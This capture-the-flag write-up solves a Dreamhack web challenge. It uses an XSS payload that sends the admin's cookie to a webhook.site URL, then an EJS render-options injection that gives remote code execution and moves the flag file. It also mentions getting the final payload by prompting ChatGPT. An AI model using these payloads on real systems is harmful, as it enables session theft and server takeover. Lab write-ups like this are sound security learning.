Cat Cute!
Level 6 web exploitation challenge on Dreamhack.io
The Challenge
https://dreamhack.io/wargame/challenges/1005
Checking index.ejs
:
1
2
3
<script>
main.innerHTML=`<img class=background src=<%= src ?? "/static/cat.jpg" %>>`;
</script>
Obtaining XSS here is trivial; although src is escaped by EJS, we can inject our own Javascript onto the page by breaking out of the template string literal using a backtick (`
)
Here is the payload that we report to the admin to obtain the cookie:
1
`;location=`https://webhook.site/f6073bfc-7366-4541-8b04-de22b6a37a2d?a=${document.cookie}`;`
The next part seems quite confusing as we can’t really do anything as the admin.
1
2
3
4
5
6
7
8
app.get('/admin', (req,res) => {
if (req.cookies?.admin === adminCookie) {
res.render('admin', {...req.query});
}
else{
return res.status(403).send("You are not Admin!");
}
})
However, passing unsanitized input into the options
object (the second argument in res.render
) is extremely dangerous; doing so can lead to RCE.
We can find a PoC for this exploit from a google search: https://github.com/mde/ejs/issues/720
Sending this in req.query
lets us execute arbitrary Javascript:
1
2
3
4
5
6
7
8
9
10
11
12
params = {
"settings[view options][client]": True,
"settings[view options][escapeFunction]": """1; (code here); return "ok";"""
}
response = requests.get(
'http://host8.dreamhack.games:24558/admin',
params=params,
cookies=cookies,
headers=headers,
verify=False,
)
Obtaining the flag is not so straightforward as we are actually inside an ES module (package.json
):
1
2
3
4
5
6
7
8
9
10
{
"type": "module",
"dependencies": {
"cookie-parser": "^1.4.6",
"ejs": "^3.1.9",
"express": "^4.18.2",
"express-rate-limit": "^6.9.0",
"puppeteer": "^21.0.1"
}
}
This means that simple payloads like process.mainModule.require("fs").readFileSync(...)
won’t work…
After a lot of trial and error (including attempting to use process.binding("fs").rename
which failed miserably), I managed to prompt ChatGPT to give me this payload:
1
2
3
4
5
6
7
8
9
10
11
1;
(async () => {
const fsModule = await import('node:fs');
try {
fsModule.renameSync('/app/flag.txt', '/app/templates/admin.ejs');
console.log('renameSync OK');
} catch (err) {
console.error('renameSync failed:', err);
}
})();
return "ok";
After submitting this payload, just reload the admin page and win!
Conclusion
Take home points:
- ES modules are difficult to work with
- When in doubt, prompt ChatGPT harder
- Prompting actually takes skill
After solving the challenge, I also realized that I could have just used the fetch
API to send the flag to my own server…